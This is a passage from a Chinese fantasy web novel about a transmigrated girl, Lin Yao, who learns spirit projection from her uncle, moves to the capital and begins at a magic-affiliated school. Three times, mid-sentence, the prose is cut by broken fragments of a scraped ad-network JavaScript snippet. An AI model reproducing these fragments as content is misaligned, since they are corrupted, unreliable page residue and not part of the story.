林瑶看着眼前一幕,感觉自己的鸡皮疙瘩都要起来了(这是啥恐怖谷效应),强忍着不适转头望向身边的黑发青年,默默等待对方接下来的教导。 果然,林溪晗又对纸人施了个幻术,它们变得栩栩如生,可那种非人的异样感依然存在,直觉稍微敏锐一点的都能发觉不对。 “来,小瑶。”这时候他开口呼唤少女,温柔地指引,“闭上眼睛屏息静气,想象自己是条大河,此刻要分出一条支流给岸边的田地。” 林瑶立刻闭眼,依言照做。 屏蔽掉脑内的所有杂念沉浸于绝对安静的黑暗之中,无形的精神力化为一条宽阔无边的湍急河流,她想要控制这条大河让它分散开来,可是很难,精神力四处乱窜根本就不听自己的话。 她开始急了,然而越急越容易失败,连最简单的聚拢都无法做到,紧闭的眼睛睫毛微颤,呼吸的节奏也慢慢乱了。 “别着急,小瑶。”就在此刻,熟悉的嗓音穿透黑夜传达至内心深处,男人始终平稳沉静的语气很好地安抚住了少女烦躁的情绪,使她渐渐冷静下来,“那是你的力量,只要你想,你就能掌控它。” “你必须摆脱过去属于普通人的思维,要相信自己能够做到,不要束缚自己的心。” “倘若连你都不相信自己,那你就真的永远做不到了。” “小瑶,记住——你已经不是普通人了。” 伴随着这句话轻飘飘地落下,林瑶原本略显急促的呼吸逐渐沉稳,最终归于一片宁静。 “……”乌黑浓密的眼睫微微颤动着,她极其缓慢地重新睁开了眼睛,正要发表一些感悟就突然对上了一双闪烁着明亮星光的美丽灵动的黝黑眼眸。 林瑶愣住,条件反射地后退,神奇的是,对面的纸人居然也后退了,那双复制粘贴过去的黑色眸子同步显示出怔愣,仿佛中间隔着一面镜子,镜中人在模仿自己的言行举止。 此时她才感应到那条连接两者的线,心念一动就能令对方做出自己希望的动作说出希望的话,同样也能转换视角用对方的五官去感受外界。 人生第一次拥有这般神奇体验的林瑶顿觉惊奇。 哇——所以她这是分了一缕神识给纸人?好牛好厉害呀! “小瑶天赋很高嘛,不错不错。”林溪晗见她成功笑吟吟地夸赞,抬手将那两个纸人收起,准备离开,“既然没什么问题了我就先去做饭了。” “好的,需要我帮忙吗?” “不,不用了,小瑶你接着核对清单吧,免得有遗漏的东西。” 林瑶点头,目送交代完注意事项的舅舅进厨房,安静地等了一会,确定对方不会再回来后,脸上特意展现的乖巧懂事的笑容缓缓收敛。 “……”她沉默着,推开玻璃窗走向阳台。 阳台上种着一盆盆因无人浇水即将枯萎的花草,她站定,垂眸凝望着某一盆白百合,没过多久,奇迹发生了。 在少女的注视中,枯黄打卷的枝叶褪去死亡的痕迹一点一点地舒展开原来曼妙的身姿,青翠碧绿衬托着含苞待放的花骨朵,清新脱俗的雪白美人冷傲地扬起脑袋不与世俗同流合污,显得神圣且不可侵犯。 新生。 仅仅一个念头,她就能赋予一盆花新生,令其脱胎换骨,而她能够隐约察觉……这还远远不是极限。 林瑶从未像现在这一刻那么清晰地认识到——强者与弱者之间的恐怖差距究竟有多令人绝望。 一个在天,一个在地,二者永远无法相触。 她下意识地抬手捏紧了戴在脖子上的宝石项链,尖锐不平的棱角刺得指节有点发疼。 但林瑶自始至终都没有松开。 很快,她垂下眼帘,略微翕动嘴唇,好似在念诵某种古老的咒语,轻声呢喃着。 “摆脱……过去的自己吗?” 13. 搬家 吃完午饭,把碗洗好放进消毒柜里消毒的林瑶回卧室拉着行李箱出来乖乖站在客厅等舅舅开传送门。 林溪晗帮忙接过厚重的行李箱,再三确定外甥女没有遗漏的东西后才抬起了手准备施法。 “对啦。”默默在旁边偷学法术的林瑶忽然想起什么,面露迟疑,“如果我和舅舅你一直居住在帝都,那这套房子要咋办呀?” 感觉弃之不管让它荒废了白长灰尘太浪费了点。 林溪晗忽然愣住,凝聚的力量跟着停顿,打开到一半的传送门化作一缕青烟慢慢消散于空气中。 他想了想:“我记得这套房子的房产证名字是写你的,要是你不回来住又不希望荒废掉的话可以租出去,这样也能多添一笔收入,你意下如何呢?” “不过小瑶你尚未成年,签字必须得到法定监护人同意才有效……我先贴广告吧,等有合适的租客我再告诉你。” 林瑶听了眼睛瞬间一亮,压不住内心狂喜地连忙答应,生怕迟一秒对方就会反悔:“可以可以可以!就这么干吧!拜托你了舅舅!爱你哟!” 芜湖!没想到自己年纪轻轻的居然成为一名包租婆开始过上那种每天不用工作光躺着数钱的快乐梦想生活了! 好耶!有房产证真是太棒了! 林溪晗瞧着女孩那双拼命掩藏却始终藏不住喜悦的亮晶晶的眼眸,笑了笑,没有揭穿对方那可爱的小心思,抬手继续先前被打断的动作。 他伸出一根手指往前轻轻一点,一道金黄色的灿烂火花就凭空出现飞速连成了圆圈,圆圈的另一头却不是熟悉的家具而是林瑶没见过的陌生客厅。 少女一惊,盯着舅舅的操作以及这如此熟悉的画面,倏地睁大眼瞳,下意识喊出:“奇、奇O博士?” “?”林溪晗收回手,奇怪地扭过头看她,“奇O博士是谁?最近新出的电影吗?” “……嗯,是的。”意识到自己反应过度的林瑶勉强收起震惊的脸色含糊道,“前两天刚看完,男主角惯用的法术跟您用的差不多。” “毕竟是很常见的法术嘛。”林溪晗了然,提着行李箱率先跨过去,笑着调侃,“看来我要尽快创造一个新法术免得造成侵权被告抄袭了。” 少女跟在他身后走进屋,闻言噗嗤一声笑出来。 舅舅人真有趣!又温柔又体贴又厉害又是个霸道总裁,谁会不喜欢他呢? 开了句玩笑的林溪晗放下手中的行李箱,稍显郑重地转身向她介绍:“这里是我在帝都的房子,圣拜纳迦的附属中学没有宿舍,学生只能走读,因此得暂时委屈你和舅舅住一起了,等我找到新房子了我会立马搬出去的。” “抱歉。”他满含歉意地注视着小姑娘,“我知道你们年轻人都不喜欢和家里的长辈一起住,放心吧,舅舅一定会避开……” “不不不不!完全没有这回事!”林瑶被对方吓得赶紧摆手否定,哪有客人暂居主人家还把主人赶出去住的道理嘛,那不是超级失礼吗?这种没礼貌的家伙可是会被街坊邻居唾弃至死的! 对着依然觉得不好意思想搬走的黑发青年,她摆出有史以来最诚恳的表情认真劝道:“舅舅呀舅舅,我亲爱的好舅舅,这里是你的家,而我是你的家人,家人与家人住在一起难道不是天经地义的事吗?莫非舅舅你打算抛弃自己孤独可怜的外甥女吗?” “我会哭的!若舅舅你抛弃我的话!”林瑶严肃地举起右手再次强调,“我是真的会哭哦!会哭得很大声很大声的那种哦!” “——所以拜托您千万不要让我哭!” “……”林溪晗一时失语,半晌后才回过神,无可奈何地望着她,妥协般地叹息,“既然小瑶你都这么说了那我能怎么办呢?” 嗯,他家孩子真是全天下最可爱最懂事最乖巧最会撒娇的好孩子,不喜欢她的眼神绝对有问题——对自己的外甥女日常戴着八百米厚甜美滤镜的林溪晗整理着衣袖十分淡定地想。 不晓得对方究竟在心里感叹些什么鬼东西的林瑶见大人终于放弃了搬走的念头,这才放松下来开始用精神力简单扫描一遍周围的环境,迅速将舅舅家的布局纳入脑海中牢记,咋说都是自己未来几年的长期住所,不勘探好可不行。 林溪晗在帝都的家是典型的三室一厅公寓套房,大概两百平,有卫生间、厨房、餐厅,各种设施设备齐全,风格简约,整体色调偏冷,干净整洁得像是酒店房间,给人一种随时都能离开的错觉,除了他们之外没有第三人活动后残留的痕迹。 舅舅果然是单身啊,真是表里如一。 林瑶在心底特别失礼地想道。 同样不清楚外甥女在偷偷打趣自己的林溪晗将大门的一把备用钥匙递给她,又微笑着指了指最左边的卧室:“那里是你的房间。” “我怕你不习惯新住处,所以新房间我是按照你以前的卧室布置的,你看喜不喜欢?不喜欢我另外找人帮你重新装修。” “按照以前的布置就行啦,没必要多花钱。”她先摇头拒绝重装的提议才抿嘴笑了笑,调皮地冲他眨了眨半边眼睛举手比心,语气活泼又轻快,“非常感谢舅舅的体贴!” “能有您这样的十佳好男人做我林瑶的舅舅简直是我苦修三辈子才成功修来的天大福气!今天又是超爱您的一天哟~” 林溪晗被逗笑了,乐得伸手摸了摸她头顶,忍俊不禁道:“哪有那么夸张?” 虽然很想继续跟外甥女聊下去,但客户那边实在催得紧耽误不得,他只好闭嘴,相当遗憾地结束今日愉快的交谈。 “这几个小时先别出门,等纸人下飞机你们断开神识连接后再自由行动。”西装革履的黑发青年讲到一半忽然抬手,一只通过窗户飞进室内的洁白信鸽收拢翅膀轻巧地落到他修长的手指上,歪了歪小脑袋打量着对面的人类。 “这是我的式神,我不在,它能帮忙带路。”注意到林瑶好奇观察的眼神,他轻笑着将手上的白鸽递过去,温声叮嘱,“不管遇到什么麻烦事你都可以直接告诉它,即使距离隔得再远舅舅都能听见你的声音,立刻赶过来。” “无论是在贝克斯还是在帝都,你都无需担心,因为没有人会欺负伤害你。” 林溪晗温柔地安慰:“别怕,小瑶。” 原本乖乖抱着柔顺的鸽子轻轻抚摸它背部羽毛的手蓦然停顿。 “……”少女搂着怀里小小的白鸽陷入了沉默。 片刻,她扬起头笑眯眯地回应:“嗯,有舅舅在我超放心的!” 不,我不放心。 看舅舅拍拍自己的肩膀接了个电话就转身准备离开,她脸上的笑容一如既往,乖巧地向对方道别。 风暴将要登陆海岸,怎么可能不担忧呢? 目送林溪晗远去,待令人安心的高挑背影彻底消失在视线范围内,林瑶收敛了所有表情,抱着鸽子慢慢地扭过头,沉静平稳的目光与站在阳台栏杆上盯着自己的漆黑乌鸦对上。 黝黑的眼眸倒映出一双属于神明的冰冷无情的暗红色竖瞳。 暗红的竖瞳倒映出挣扎着妄图逃离命运的脆弱无力的凡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人。 他们互相对视,透过彼此的瞳孔描摹自身,一笔一划地认真勾勒轮廓。 但最终还是林瑶先收回了关注,让白鸽坐上自己的肩膀,推着行李箱进屋收拾东西。 窗外的夜鸦立即腾空飞起,张开翅膀紧紧跟在女孩的背后,一如往常。 打开箱子,林瑶半蹲着把之前一件一件放进去的衣服书籍首饰等物品又一件一件地拿出来分门别类地摆在各区域。 然后她起身整理床铺,找抹布抹干净桌面,淋湿拖把将整个家都拖了一遍,从下午一直干到傍晚,总算搞完了卫生,原先铺有灰尘的房屋瞬间焕然一新,让人看了真是成就感十足。 抬起手背随意擦了擦额头冒出的汗,林瑶放好清洁工具简单洗了个澡就打算去厨房做晚餐,可当她打开冰箱门发现里面空空如也连根鸡毛都无后…… 嗯,偶尔尝试一下家长口中的“不健康垃圾食品”也不错嘛。 假装无事发生的少女十分镇定地关闭冰箱门,望向不远处待在餐桌上正绕着夜鸦讨好转圈的白鸽,问它舅舅回不回来吃晚饭,吃她就下楼去买菜,得到否定的回答后才掏出手机点外卖。 干炒牛河加鸡蛋加豆芽,微辣。 下完单的林瑶突然想起家里除了她还有两位没用餐呢,遂举起手机询问它们的意见。 闻言一黑一白两只鸟迅速凑近,三颗毛茸茸的脑袋围在一起仔细研究菜单,最后鸽子先生大翅一挥选择了油炸薯条(ps.配番茄酱),夜鸦先生则矜持地选择了全糖的香草奶茶,噢,没想到使者大人竟然是一名甜党呢。 等待外卖的中途林瑶也没闲着,一边搜集新学校的资料一边锻炼自己的精神力,争取赶在入学前追上班级进度,不然拖后腿就不好了,容易遭同学嫌弃。 两只小鸟则一左一右地窝在女孩身边,安安静静地充当陪学玩偶,没有胡乱出声打扰她思路。 自家向来贪吃贪睡的孩子难得愿意奋发向上努力学习,做家长的怎能不支持呢? ——支持!必须支持! 对莫名其妙热血上涌的长辈的内心想法毫不知情的林瑶,查完资料后却叹了口气,愁得眉毛拧拧,苦得不行。 圣拜纳迦。 江湖传言是脱离帝国管辖直属教会的人才培养总基地,一听就知道它的立场与皇室天然作对,里面的学生无论是不是真站教会都肯定受到皇室的敌对,那舅舅曾经交代过的“不要卷进风波”也就没啥意义了,因为她一踏入这个学校的大门就相当于站队了! 虽然皇室不在意她这么一个小喽啰,但他们也一定不介意顺手处理掉一个小喽啰,舅舅再强,还真能24小时不间断地保护自己吗?万一有人偷袭咋办?搞阴谋咋办?发生意外咋办? 所以舅舅到底为啥非要让她转到圣拜纳迦的附属中学去啊?她觉得普通学校一样很好呀! 尽管知道要放宽心别想那么多(真的遇事了也没办法),可她就是控制不住自己发散的思维嘛! 唉。 林瑶再度叹息,彻底放弃了无用的挣扎。 其实她也清楚去那里是最好的,毕竟不管是要组建势力或者探寻真相找到回家之路,都只有主动靠近漩涡才能拥有成功的可能性,躲避退缩只会失去一切败得一塌糊涂。 正所谓——风险越大收获越大嘛。 “希望新同学都很好相处吧……”林瑶嘟哝着搁下手机,身子往后一仰靠着椅背,偏过头,透过大开的玻璃窗,静静地望着外面绚烂夜空下的万家灯火。 14. 老师 正式上学那天,林瑶提前两小时起床刷牙洗脸收拾书包换校服,吃完早餐后就一直待客厅里等舅舅准备好了再一起出发。 “抱歉,小瑶,因为外人不能随意进入圣拜纳迦,所以今天我没办法陪你一起去学校了。”然而林溪晗却一脸歉意地向女孩道歉并解释原因,担心她会害怕又放缓语气柔声安慰,“不过我在圣拜纳迦有认识的朋友,我已经联系他让他现在过来带你去报道了,以后在学校遇见什么麻烦事你也可以找他解决。” “他一定会帮你的。” “没关系呀,不用麻烦您那位朋友也行的,我自己可以导航过去。”林瑶连忙摆手拒绝对方,她不喜欢在这种能够独立完成的事情上麻烦别人,毕竟人家还有自己的工作要忙呢,哪有空带小孩啊? “没事,反正他一天到晚都坐在办公室里挺闲的,能找点事做活动活动筋骨对身体更好。”林溪晗安抚般地拍了拍少女肩膀让她放心接受,“而且小瑶你拒绝得太迟啦,他现在估计都快到了,难道你还想赶他回去吗?” 抓着书包肩带的林瑶:“……” 她忍不住吐槽:话都被你说完了我还能说啥?不愧是做老板的,这先斩后奏玩得可真溜呀。 黑发青年一眼就看穿了少女的想法,正要开口说点什么又蓦然停顿。 他侧过头,似乎感应到有陌生的气息在逐步靠近自己的屋子,但仔细辨认后他脸上又露出了微笑,可神色却很平静,浅淡的笑意也稍纵即逝。 “小瑶,我们的客人来了。” 恩?有点奇怪。 林瑶观察对方的表情,怎么她感觉舅舅好像不太欢迎那位在学校工作的朋友呢? 不过她的注意力很快就被门口响起的清脆铃声给夺走了。 叮——咚—— 叮——咚—— 家门前的客人连续摁了两次门铃,收到舅舅鼓励的眼神的林瑶,犹豫了一会主动走过去。 吱呀一声响,她站在玄关处紧紧握着把手往外打开门,来访者的样貌顿时完完整整地暴露于金色温暖的阳光下。 那是一位长相稍显普通却气质温婉的女子。 对方披散着棕黄色的大波浪卷发,柔软的唇涂着明艳的红,面上画浓妆,佩戴珍珠耳环,十指美甲贴银钻,内搭衬衫外穿风衣,长裤加短靴,看起来就像一位很有主见的成熟女性,偏偏她注视少女的目光温柔平和,给人一种知心姐姐般的包容感。 林瑶愣住。 不是因为女子与自身气质不符的打扮,而是…… 她的视线条件反射地往下移,瞧见了对方坐着的木质轮椅。 舅舅的朋友患有腿疾? “早上好。”就在林瑶打量的时候对方忽然出声,柔美悦耳的嗓音含带着轻微笑意,“你就是溪晗常常挂在嘴边的他的外甥女小瑶吧?” 林瑶本能地点了点头才猛然意识到自己一直盯着别人的腿看是件相当失礼的事,遂不好意思地低下脑袋真诚道歉:“对不起,我不是故意的。” “噢,没关系,第一次见面总是会抱有好奇心的,用不着愧疚。”她理解地笑了笑,并不生气,“对此我早就已经习惯了。” “非常感谢您的宽容,但习惯并不代表我没错。”林瑶十分坚持,认真的神情甚至显得有点古板,可这份固执在外人看来却特别可爱。 “小瑶果然是个好孩子呢。”对方微笑着打趣,“哎呀哎呀,没想到就溪晗那种讨厌的性格居然能教出你这么听话乖巧的外甥女。” “遗传学真是一门博大精深的学科啊。” “……舅舅的性格才不讨厌。”林瑶不太高兴地小小声反驳一句。 “对你而言是这样。”她不置可否,表露的态度显出几分冷淡。 嗯,经确认是塑料友情了,虽然口头上貌似很亲密地称呼彼此,但之前的感觉没出错,这两位的关系真的不太好欸。 林瑶暗暗肯定,却又敏锐地察觉到哪里不对劲。 双方的关系比想象中的要糟糕啊……那舅舅是怎么请到人家帮忙照顾她的?一般都不会答应的吧? “不说那些不愉快的事了,我应该还没自我介绍吧?”一句话打断林瑶的思考,女人往后靠着轮椅的椅背,手肘分别搭在轮椅扶手上,掌心交叠着搁置在腹部上,坐姿轻松惬意,笑吟吟道,“我叫贝娜,是学校的老师,以后要是有不懂的问题想请教的话可以来办公大楼找我。” “我随时都在。” “好的,谢谢贝娜老师。”林瑶感谢完才后知后觉地醒悟,自己竟然在家门口跟客人聊天聊得火热,都没叫对方进屋喝茶,未免也太失礼了! 反应过来的她连忙退开贴着墙壁站,给人让出一条路急匆匆地道歉:“对不起对不起,是我不好居然没注意到您还在门口!请您先进来坐吧,我去厨房帮您倒一杯茶,或者果汁!” “不用。”贝娜被逗得笑了笑,语气却显得很不客气,既然被女孩看穿了索性把掩盖两人关系的遮布扯下,丝毫不给屋里的老朋友留情面,“林溪晗在我就不进去了,省得影响今日的运势,反正他也不想见到我的脸,正好。” 林瑶:“呃……行吧。” ——您讲话可真是直接,况且都那么讨厌舅舅了为啥还会同意帮忙啊?难不成这其中是有啥秘密交易存在吗? 嘴上一边说着“我先跟舅舅告别”一边回客厅,脑子同时转一圈详细搜索昨晚查的关于圣拜纳迦的资料中有没有叫贝娜的老师,能当舅舅朋友的绝对不是什么默默无闻的普通人。 教授、副教授、院长、教务部……似乎都没有叫这个名字的人,只有贝纳奇校长比较接近,然而贝纳奇校长是写进官网板上钉钉的男性呀! 眼前这位无论怎么观察都是一位优雅大度的成熟女性,除非你说校长他老人家喜欢女装……唔,也不太可能吧?说是兄妹可能性还大一点。 按下内心乱七八糟的无礼念头,林瑶跟舅舅说再见得到一个摸摸后就离开了家门,帮贝娜老师推轮椅小心翼翼地进电梯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我们怎么去学校呢?是打车或是直接传送?”推着老师来到小区门口,林瑶左右张望着没看见接送的交通工具遂开口询问。 “今天应该是小瑶你第一次去圣拜纳迦吧?那还是打车好了,等你记住路线下次就可以自己传送了。”贝娜悠然悠哉地拿出手机叫了辆出租车,“离上课铃响还有一个多小时,哪怕中途堵车也来得及。” “哎?行是行啦……不过我刚入门仍在补习相关的基础理论,短时间内没办法使用远距离传送那种高等级法术哦。”出租车缓慢开到两人面前,林瑶在司机的帮助下将不方便行动的老师扶进车里,把轮椅收入储物戒,乖乖汇报自己的情况。 “法术?”似是感到惊讶,对方挑起眉梢,意味不明地打量着她,随后轻笑,“嘛,我是听说这一代的人好像都喜欢用‘魔法’‘仙术’之类的词汇来形容那股力量,甚至还搞出了一些莫名其妙的咒语和乱七八糟的等级,可我实在没料到林溪晗竟然也是这样教导你的,莫非是配合小瑶你的习惯吗?” 林瑶顿时有点迷惑:“……难道不是么?那老师您是怎么称呼的呢?” “力量就是力量,不管怎么称呼,它的本质永远都不会改变,那为何非要给它冠上姓名?”贝娜单手托腮,“取名就算了还不统一,不怕记混吗?” “所以您是回归本真派的。”少女明白了,捏着下巴认真思考,“以前的人都没有这些说法吗?唔,回想一下似乎舅舅真的没在我跟前念过咒语欸……那你们是如何操控体内力量的呢?总得有个引子吧?” “操控?引子?”听完女孩的一番话,贝娜笑了笑,再次否定,“不需要哦。” “力量本身就是自由的,正如我们自由的想象,根本就不需要费心操纵。”她一边说着一边竖起食指在空气中随意画了个圆圈,然后一朵娇艳的桃花就噗的一声出现在了她指尖上方。 美艳的女人把漂亮的花送给了乖巧的女孩,嘴角扬起一抹令人捉摸不透的弧度,微笑着,眼波流转,顾盼生辉。 像是顾忌,像是暗示,她近乎呢喃地低声道:“咒语反倒是对我们的一种束缚。” “只要我们想,我们就能无所不能。” 林瑶捧着老师送给自己的花,闻言下意识蹙眉,感觉对方是话里有话,却猜不到。 贝娜也不勉强,抬手拍了拍她的头顶,一脸笑意盈盈:“好啦,我讲那些并非要带给你压力,只是想让你放松,没必要给自己加上镣铐。” “优秀也好普通也罢,学习成绩在林溪晗眼中完全是无关紧要的东西,他只在乎你是否能够交到知心朋友,是否能开开心心、快快乐乐地度过每一天。” “因此别再烦恼了,不然我会被你那位以为你受到欺负的双标舅舅揍的哦,他打人还是很疼的,尽管我并不害怕啦。” ……唉,舅舅是不在乎,可我在乎呀。 林瑶暗自叹息,内心却仿佛有股暖流淌过,双手拢着鲜花贴近胸膛,没忍住弯了弯眼眸。 15. 转学 舅舅买的房子离学校不远,出租车司机为了抄近路先从两座四合院中间穿过去,开上环形大桥绕了几个弯又闯进隧道,等出来后再开十几分钟就到达了本次目的地,总共耗费50多分钟……好吧,她承认这个距离其实挺远的。 圣拜纳迦位于帝都郊区,占地面积大约有9千多亩,内设多个独立亚空间,实际面积相当于一个小国家,其附属中学就在隔壁不远,两所学校只隔着一条商业街,学生可以互相串门。 林瑶站在一家早餐铺前,远远眺望着对面那扇修建得跟她记忆中曾经去首都旅游打卡过的某985大学一模一样的古典三开朱漆宫门,片刻后收回了打量的视线继续推着轮椅随老师一起进学校,只是心中不禁有些感慨。 妈妈,你女儿有出息了,居然不用高考就能踏进咱们中国人第一理想大学的门并享受同样的教学资源(虽然是盗版的),真是祖坟冒青烟啊。 “这是我办公室的钥匙,如果你要来找我就提前和林溪晗的式神说。”贝娜舒舒服服地坐在轮椅上被学生推着走,把钥匙交给对方后笑着往下讲,“我在学校不负责授课,有时会到外地出差,但我会留一具分身在办公室的。” “好的,麻烦您了。”林瑶表面笑着答应,实际决定了如果没碰见啥大事就绝对不去打扰人家。 总是拿小事骚扰别人,别人会烦的。 两人绕开凉亭,穿过翠绿园林,走了差不多十分钟才终于看见第一栋教学楼。 “你被安排在七班,因为是中途转学过来的,所以教科书暂时没有,先试着和同桌共用一本吧,之后我再找人拿给你。”上到三楼停留于教室门口的贝娜听着里面的读书声,轻轻拍了拍她的手背柔声安抚,“别担心,我们学校的学生性格都很不错,基本不会做出那种故意欺负你又为难你的恶事。” “当然,如果有的话……”她笑了笑,语气温和,一脸的风轻云淡,“你就告诉我吧。” “老师会帮忙解决的。” 林瑶:“……真的非常感谢您,但不用了,我相信贵校学生的人品。” ——为什么跟舅舅的潜台词重合了?你们大佬的做派都是这样简单利索不服就干的吗?可怕。 贝娜笑而不语,抬手摸摸女孩柔顺的长发,轻柔地鼓励:“去吧,我已经跟你们班主任打过招呼了。” 林瑶点点头,先是站到门口,随即深呼吸,做好心理准备后才伸手抓住门把猛地往旁拉开—— 响亮的读书声一停,整个教室骤然安静下来。 所有人的目光都集中于那位突然出现在门口的清秀少女的身上。 从未经历过这种场面的林瑶暗自咽了口唾沫,收回手,故作镇定地、努力不同手同脚地、浑身僵硬地走到讲台处,对着黑板前的班主任一鞠躬,姿态略显紧张地自我介绍:“老师您好,我是新转来的林瑶,初次见面请多指教。” “噢,你就是林同学呀。”高三七班的班主任是一位看起来亲切和蔼的中年男性,他的视线越过少女与走廊外坐轮椅的贝娜对上,盯着她嘴角的那抹细微笑意,不懂是从中看出了什么又不动声色地移开,重新投向身侧正慌得不行的小姑娘,乐呵呵地开口,“欢迎你加入高三七班这个温暖的大家庭。” “我姓黄,是你们的地理老师,也是班主任,之后若有什么不适应的地方可以来找我。” 林瑶直起身,连忙应道:“好的,谢谢黄老师!” “那咱们就先上课,我看看……嗯,你就坐在倒数第二排靠窗的位置吧。” 她乖乖点头,朝着男人指的方向望去,可是第一眼注意到的,却不是自己的“王之故乡”,而是坐在旁边的应该是她同桌的小少年—— 新同桌有一头柔软顺滑的黑色短发,生得一双如宝石般黝黑漂亮的桃花眼,本该泛着潋滟水波、显得妩媚多情的眸子,偏偏那张精致的脸蛋美得极具攻击性,让他看上去宛如一把随时出鞘的锋利长刀,淡漠的神色与凌厉的气质令其在同龄人中格外突出,走在路上瞬间就能夺走全部人的关注。 瞧着很不好惹,感觉是那种一言不合就开杀还不帮你埋尸处理的恐怖类型。 然而这样的“疯子”此刻却皱着眉头看自己,眼神有种说不出来的古怪,似乎是看见了某个不该出现在这里却出现了的人觉得疑惑,不过他很快就平静下来,只是目光一直追着她,莫名地显出几分专注。 林瑶蹙眉,感到奇怪。 他是认识原主吗?还是认识舅舅? 不,不对。 她想了想又迅速否定猜测,他是对自己这张脸有反应,舅舅和自己长得完全不同,所以应该是认识原主,或者……原主的母亲?啊,难道他是原主小时候的玩伴?天降竹马?总不能是失散多年的亲兄弟吧?如果是的话,她要冲上去直接喊大哥吗? 搞什么……为啥到哪都能遇见原主的熟人,这是啥团宠玛丽苏剧本? 林瑶一边想着乱七八糟的东西,一边听话地走到老师指定的位置拉开椅子入座。 在近距离的偷偷观察下,她发现同桌的那张好看脸蛋杀伤力更强了……可恶,究竟是怎么保养的才会连颗粉刺都没有的呀?!给我推荐一下相关的护肤品和魔法咒语啊! 恶狠狠地吐槽完一波,林瑶打起精神主动侧身微笑着向对方打招呼:“你好。” 新同桌看了她一眼,没有回话。 林瑶顿时怀疑是不是自己声音太小了他没听见,犹豫了一会稍微放大音量重复:“你好?” 对方只继续盯着她,依旧没有反应。 现场的气氛忽然变得异常尴尬。 “……”林瑶脸上的笑容快要挂不住了。 真是没礼貌的家伙,少女深吸一口气,忍着满心不悦,最后再坚持一次:“hello?” 她默默地想:要是这次还不回,那就别怪她也不理人了,又不是规定了只能跟他交朋友,干嘛要热脸贴冷屁股? 大概是发觉再不回应会挨怼,少年才转过头目视前方,淡淡道:“你好。” 林瑶终于舒坦了,哎呀这不是能讲话的嘛,她都差点以为对方是聋哑人了…… 能沟通就好,就怕人不肯交流,林瑶沉思片刻再次出声,试探性地问:“你是认识我吗?我们以前是不是见过?” “不认识,没见过。”对方不复先前的沉静,尽管表情依然冷漠,但还是回答了。 她想了想,并没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 轻易放弃,接着追问:“那你是在哪里见过相貌跟我差不多的人吗?” 眼里一贯冷淡的神色忽地产生波动,少年转过脑袋定定地注视着她,脸上浮现出一点探究:“为什么会这么问?” 林瑶被他的突然变脸给弄得愣了一下,以为自己踩到别人的爆发点了,莫名有些无措地答道:“因为……你刚刚不是用那种仿佛在奇怪我怎么会出现在这里的疑惑表情看我吗?” 或许是没想到女孩居然如此敏锐,连自己在短短一刹那不小心流露出的情绪都察觉到了,少年难得露出惊讶的神情。 不过他很快就整理好心情一脸平静地答道:“世界上长相差不多的人并不少吧?” 也就是说曾经确实见过咯? 林瑶暗中嘀咕一句,倒是不打算再问了,对方很明显不想继续这个话题嘛。 “那我能暂时跟你共用教科书么?我是中途转学的,老师还没准备我的书呢。”她挠挠脸,不好意思地解释,“要是你不介意的话,我可以帮你记笔记。” 林瑶觉得这是非常普通的一件小事,愿不愿意直接答应或拒绝就行了,她又不会胡搅蛮缠,谁知对方竟然陷入了静默,似是被这个简单要求给难住了,没有立马回复。 她一开始以为新同桌不乐意,可仔细琢磨他的表现也不像想要婉拒推脱的样子。 只见黑发少年在安静一阵后忽然扭头扫视了一圈周围同学的桌面,重点观察了一下大家的课本,然后就转回头,十分镇定地从自己的抽屉里拿出地理书放在桌上推过去,轻描淡写道。 “用吧。” 旁观的林瑶:“……” 仍旧是旁观却得知了一切真相的林瑶:“谢谢。” ——搞什么啊?!弄了半天原来你自己也没有教科书得要现场制作呀!那你平时上课是咋上的?!老师都不管你的吗?!这究竟是学霸的超级自信还是差生的自暴自弃啊?之前摆出的那副大佬风范是中二病患者单纯装*还是大佬真的不爱读书呀?! 可恶!十分钟前还在各种警惕思考担心踩雷的我简直是个大笨蛋!大笨蛋! 不知是不是接收到了身边之人憋不住的满满的吐槽欲,新同桌轻咳两声,补偿般地又从抽屉掏出一本刚复制完的别人的笔记递过去,见林瑶沉浸于吐槽中没有第一时间拿走,于是默默放在了她书上还帮忙翻到有解题思路的那一页。 林瑶回过神,看着他的动作顿觉无力,可不管咋说都是人家的一片心意,就强行逼自己振作,摆着完美笑容道谢。 对女生藏于伪装下的虚脱感毫无所觉的男生暗暗松了口气,随后简短地“嗯”了一声当作回应,面上的神态再度恢复至原先不好相处的漠然。 可惜林瑶已经知道他隐藏于这副拒人于千里之外的冷酷模样下的真实性格了,并不害怕。 她只是想起自己好像还没问过新同学的名字,便随意地发问:“对啦,你叫什么呀?我是林瑶。” “……”不知为何,听见这句问话,对方竟奇异地短暂陷进了沉默。 半晌,他才低垂眼帘,望着课桌上属于自己的模糊倒影,慢慢开口。 “……艾遥。”少年轻声回答,“我叫艾遥。” 16. 上课 “艾遥?”林瑶眨巴眨巴眼睛,抬手回指自己,脸上露出笑容,“哇,咱俩名字里都有个‘yao’哎,好巧。” “是很巧。”艾遥收拾了一下桌面,把复制出来的所有课程的教科书和习题册都摆整齐,然后全部放到她桌上,平淡的语气完全没有要跟新同桌打好关系的意思,真是冷酷又无情。 但林瑶已经熟悉了对方这副做派,知道他可能只是不太爱讲话,实际并无恶意,于是摊开双手随意地耸了耸肩,刚想再聊几句就注意到周围同学隐秘投来的视线,这才反应过来自己目前还在上课中便立即噤声,赶紧改掉以前总在课堂上跟朋友讲悄悄话的坏习惯,低下头认真学习。 不过嘛,她原本以为大家会对她这个转学生感兴趣,不说围着自己最起码也会好奇地问几句,结果等下课铃一响老师一走,都没多少人来找自己玩,基本都在忙手头上的活,连个眼角余光都不给她。 林瑶:== 好冷漠,好真实。 遥想当年自己班里有新人转学过来,她对人家也不怎么热情,只顾着和老朋友聊天……唉,风水轮流转啊,幸好还有一位前桌肯搭理自己。 “你好呀,林同学。”坐在她前面的是一个脸蛋圆圆、扎着斜马尾、长相特别可爱的金头发女生。 她往后转身整个人都趴在椅背上,歪着脑袋,嬉皮笑脸地举起一只手,像上课时主动回答问题那样做了个简单的自我介绍:“我叫柳欣悦,欣喜的欣,悦耳的悦,林同学喊我‘欣悦’就行啦。” 